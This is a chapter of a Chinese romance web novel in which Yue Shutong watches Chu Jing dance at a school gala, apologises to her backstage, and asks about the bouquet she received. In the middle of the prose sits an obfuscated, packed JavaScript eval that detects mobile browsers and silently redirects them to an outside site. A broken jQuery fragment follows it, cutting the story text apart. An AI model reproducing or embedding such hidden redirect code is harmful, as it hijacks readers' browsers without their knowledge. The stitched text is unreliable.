14.桔梗花语
作品:《第一百件事》 很快他就知道自己误会初静了,自己那一套自以为是的法则,在初静这里通通不适用。
晚上的安排比较轻松,学校准备了一个小型晚会,在学校里面的大礼堂。
安排几个社团准备了节目,很多公司高层都是选择捐赠会结束直接离开。
门票就通过抽奖的形式,发给了一些学校里的学生。
晚上七点,岳疏桐回到前排,后排已经陆陆续续进来了许多学生了。
今天他穿的比较正式,西装加发型的加持,让他一瞬间和后面的同龄人似乎有了年龄的差距,也有了些领导的范儿。
他倒不关注节目本身,他是有种直觉——初静也会来这场晚会,自己应该能见到她。
得赶紧把事情说清楚,不能总自己受折磨。
节目和之前学院的毕业晚会没什么区别,都是些舞蹈,唱歌,乐器表演,不过也正常,表演嘛,除了这些还能是什么呢。
岳疏桐百无聊赖地看着演出,不时地转过头去看后面的学生里面有没有自己想见的那个人。
直到舞台的灯突然熄灭,整个舞台陷入黑暗。
忽而一束光打在舞台中央,灯光聚集处是一个身着一席湖绿色长裙的女生的背影,随着月光下的凤尾竹的音乐,开始翩翩起舞。
只有背影,但这身段,岳疏桐却是一眼就认出来了。
果不其然,等女生转过身来,坐在第一排,他可以看清楚她的脸,以及两人对视那一刻她脸上一闪而过的惊讶。
原来她说晚上有事,是真的有事。
难怪前几天朋友圈说自己练舞,原来就是为了今天的表演。
他很好奇,初静到底还有些什么自己不知道的技能。
就光自己认识她这段时间以来,她就像一个盲盒,摄影、钢琴、滑板、绘画、舞蹈,永远不知道里面还藏着些什么东西,一些他意想不到的惊喜。
他盯着舞台上那个身影,随着歌声在舞动着,能够看得出来,她是有舞蹈功底的。
一曲舞罢,观众席发出了热烈的掌声还有此起彼伏的尖叫声。
岳疏桐再顾不得学校领导了,借口上厕所,直接溜去了后台。
除去欣赏,他更担心她脚上的伤,前两天还说不舒服,今天这活动强度,会不会再次受伤。
后台不像是专业的晚会那样有休息室,也就只有一个较大的场地供所有人休息,像是一个教室改建的。
他似乎来得不巧了。
休息室没多少人,之前表演完的都走了,后面也只有一个节目,刚好已经上台了。
于是他一眼就看见了站在后门边上的初静,以及——她对面的梁淮安。
上次毕业晚会,他是见过梁淮安的,还为那句般配耿耿于怀了好久。
甚至于这次的尴尬发言,也是因为梁淮安。
岳疏桐自然是不会忘记他的。
而且客观上来讲,梁淮安的确长得很帅,和自己不一样,他是那种温文尔雅的绅士,两人站在一起,气氛都变得柔和起来。
他站在休息室另一头,只能看见梁淮安递了一捧花给初静,说了些什么,他离的太远,也不太能听见。
初静笑了笑,竟也没有拒绝,爽快地接了过来,两人交谈了几句,梁淮安就先走了。
岳疏桐沉了沉脸,顿时有些愤愤不平,平时拒绝他就拒绝的那么决绝,怎么到梁淮安这里就不拒绝了?
况且他原本以为初静和梁淮安应该就是上次活动合作了一下的关系,平时应该没什么往来,结果自己猜错了?
两人原来这么熟吗?
不舒服归不舒服,自己是来负荆请罪了,怎么还能有情绪,有也不能表现出来,还是得笑着。
初静回头,看到了另一头的岳疏桐,脸上有几分惊讶。
他今天穿了西装,打了领带,还特意抓了头发,是成熟男人的气质。
细看让她有些不自然,“你怎么来了?”
岳疏桐瞥了一眼她手里的花,狠狠凝视,怎么都觉得碍眼。
索性把视线转移到她脸上,今天为了表演画了浓妆,以前从来没见过的样子,毕竟之前几次见她基本上都是素颜状态,感觉完全不一样。
但都有共同点,一样的漂亮。
岳疏桐喉结快速滚动了几下,“我代我爸来参加活动,看见你表演就想着来后台看看你。”
“你今天很漂亮,舞跳得也很好。”
岳疏桐这么直白的夸奖,把初静弄得有些不好意思了,耳尖微红。
“谢谢。”
“你的脚还好吗?有没有不舒服,要不我还是出去买点药吧。”说着都准备往外走了。
初静连忙叫住他,“不用,没事,前两天是练太狠了。脚踝没事儿。”
她咬了咬下唇,“前几天你叫我出去,我是真的没空,这段时间一直在排练。”
还是为自己解释了几句,说完初静又觉得自己有些莫名,本来自己也没说谎啊,而且就算自己拒绝他的邀约,又何必向他解释呢。
不过话已经说出去了,也没办法收回。
岳疏桐一副了然的样子,笑了笑,“没事,这不是见到了吗?索性择日不如撞日,就现在说吧。”
“现在?”初静声音都高了一些,他到底要说些什么啊?
不会是自己想的那样吧。
他要是真说了,自己该怎么办?
岳疏桐挠了挠头,又抬手松解了一下领带,依旧不是很习惯这种正式的穿搭。
酝酿了好久,沉了口气,似乎终于下定了决心,“我这几天一直想告诉你,但是我又觉得在微信上说不清楚,而且也不太正式,我是想说,”
顿了顿,初静瞬间攥紧了双手,他究竟要说什么?
“对不起,还是觉得需要和你道歉。”
“啊?为什么?”初静手松了。
为什么道歉,他有做错什么吗?或者是说他做了什么吗?
初静满眼疑惑,有些摸不着头脑,一头雾水。
“就是那天晚上我发的消息,如果让你觉得有些冒犯和轻浮,我向你道歉,我有时候说话和发消息有些不过脑子。”
初静松了一口气,释然一笑,就为这事啊。
岳疏桐难道是把自己那天为了逃避话题所推辞的“要睡了”,误认为是因为她生气了吗?
然后这段时间她还总是回绝他,他是觉得自己说错话开罪她了?
天啊,这就是男人女人思维的差异吗?
她莫名觉得好笑,“你为什么会觉得我生气了呢?我这段时间是真的一直在排练,不是找借口拒绝的。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070187|194631||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>岳疏桐也说不上来,或许是自己有些太过于神经紧张了,总觉得自己说错话做错事。
有的时候就是这样,越想做好一件事的时候感觉自己越呆,什么都做不好。
索性他也不纠结了,既然没有生气就好,搓了搓衣角,有些尴尬地笑了笑,“没生气就好,那今天我送你回去你不会拒绝了吧!”
不得不说,要论蹬鼻子上脸的高手,岳疏桐绝对榜上有名,直接把初静架在火上烤,自己要是拒绝了,不就反向证明自己之前是故意推脱的吗?
初静想了想,算了,反正今天也没人接她回家,免费的司机,不用白不用。她点了点头,“可以啊。你等我拿一下包。”
她的包放在了储存柜里面,趁着她去拿包的时间,正好岳疏桐给对接的校领导打了电话,告诉他们自己临时有事要先走了。
岳疏桐挂断电话,看了眼初静搁在桌子上的那束花,怎么看怎么觉得碍眼。
等到初静回来,他十分自然地接过来初静的包,初静还没来得及拒绝,就被他夺过去了。
今天演出的裙子是她自己的,下午出门前为了搭配这条裙子,初静专门没有背书包,背了个腋下包,完全没有需要别人帮忙的必要,他背上反倒而显得怪怪的。
但岳疏桐动作实在太快,完全没给她拒绝的机会。
不仅接过了包,还帮她拿上了放在桌面上的花,尽管他看着十分不顺眼。
“你和梁淮安很熟吗?”
去停车场的路上,岳疏桐实在没忍住,还是问了这个缠绕他一晚上的问题,他怕自己不问晚上都睡不好觉。
“还行吧。”
“那……”岳疏桐顿了顿,思考了一下自己的话是否恰当,别又显得自己是个没脑子的深宫怨妇一样,“那他怎么送你花?”
而且你还没拒绝,不过这一句他也就在心里说说。
初静看了一眼岳疏桐抱着的花,哑然失笑,“哦,你说这花啊。是我朋友送我的,但她今天过不来,就让他带过来罢了。”
一看这满捧的绿色洋桔梗,就知道是出自钟灵的手笔。
钟灵这几年来,都会在初静每一次演出的时候给她送花,算是一个传统节目了。
今天本来说过来看演出的,但是临时她父母叫她过去家庭聚会,实在没办法,就让梁淮安代劳了。
至于梁淮安,她和他真算不上特别熟,钟灵和他关系比较好,在她休学那一年里面,他们接触比较多。
一来在同一个学院,二来在学生会又是一个部门的,算得上是不错的朋友。
不过这些就没必要和岳疏桐说起了。
但是对岳疏桐来说这已经足够了,他只是介意这个花是梁淮安送的,只要不是他就行了,毕竟据他这段时间的观察,初静周围也没什么别的男生了。
不,还有一个教滑板的林沐,不过初静最近脚扭伤了,应该没出去滑滑板,那也应该没和他接触,算起来自己还是和初静走得最近的异性了。
“这是洋桔梗?”
“对。我喜欢它的花语,希望。”
其实还有没说完的,绿色洋桔梗代表新生。所以每次钟灵送她花,都会选择绿色的桔梗。
因为初静喜欢绿色,钟灵也因为希望初静有一个新的开始,新的生命焕发活力和希望。

